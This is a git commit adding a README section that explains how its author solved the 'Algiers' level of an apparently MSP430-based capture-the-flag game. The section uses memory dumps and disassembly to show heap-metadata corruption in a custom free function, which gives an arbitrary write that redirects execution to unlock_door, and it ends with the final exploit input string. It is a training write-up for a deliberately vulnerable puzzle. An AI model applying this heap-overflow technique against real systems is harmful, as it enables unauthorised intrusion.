Solve Algiers in like six hours

This commit is contained in:
felixm 2023-04-07 18:26:20 -04:00
parent c67b7935b8
commit afe94b773b

107
README.md
View File

@ -330,4 +330,111 @@ c844 + '61' * 0x7d + 256e
## Algiers
When looking at Algiers, we quickly realize that the `free` function is more
than wacky. Since there is no `printf` in this exercise, we suspect that the
vulnerability is in that function.
We find the locations of the first and second input, and quickly realize that
by making the first input long enough, we can manipulate the first free
function which operates on the addresses from `0x2424 - 6` onward.
Specifically, We can override the values `0824 3424 2100` via the first input.
```
2400: 0824 0010 0000 0000 0824 1e24 2100 aabb
\____ location of first input
we can override this with the first input
____/
2410: 0000 0000 0000 0000 0000 0000 0000 0824
----
\ R15 points to this address in the first
call to `free`
we can overrid this too
/
---- ----
2420: 3424 2100 ccdd 0000 0000 0000 0000 0000
----
\
location of the second input
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000
```
Therefore, an input to not change the behavior would look like this.
```
beefbeefbeefbeefbeefbeefbeefbeef_0824_3424_2100 // input 1
aabb // input 2 - doesn't matter
```
Now, an insight that we might have is that we jump over the code at `0x4524` as
long as bit zero at `0x2408` is not not zero. Unfortunately, by default it is
zero, but by changing R15 to `0x241e` we point it to the address where the code
in `free` sets bit zero of the value at that address to zero:
```
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
```
So, with the following input, we land in the first branch:
```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_3424_2100 // step 1 to solution
----
\
get into first branch by loading a value
whose zero bit is zero
```
When taking the first branch, we realize that the following code allows us to
insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
second word in our three words that we can manipulate.
```
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
```
In other words, that gives us write access to an arbitrary location by changing
`3424` in our input accordingly.
The question is where to write to. The first thing that comes to mind is
manipulating the return pointer of the `login` function. However, when stepping
through the `free` function, we might notice that it's `ret` instruction is
directly followed by `unlock_door`.
```
4508 <free>
// code removed
4562: 3041 ret
4564 <unlock_door>
4564: 3012 7f00 push #0x7f
4568: b012 b646 call #0x46b6 <INT>
456c: 2153 incd sp
456e: 3041 ret
```
Probably not a coinsidence. If we change `3424` to `6245` we can override the
return instruction fall through to `unlock_door`.
```
beefbeefbeefbeefbeefbeefbeefbeef_1e24_6245_2100 // step 2 to solution
```
When we run this code, whatever is in R14 will override the return instruction.
In this case, that whatever is `241e` which disassembles to `push @r4`. We got
lucky, it's a valid instruction. And with that it turns out that step 2 is our
final solution to solve Algiers.
```
beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
```
## Vladivostok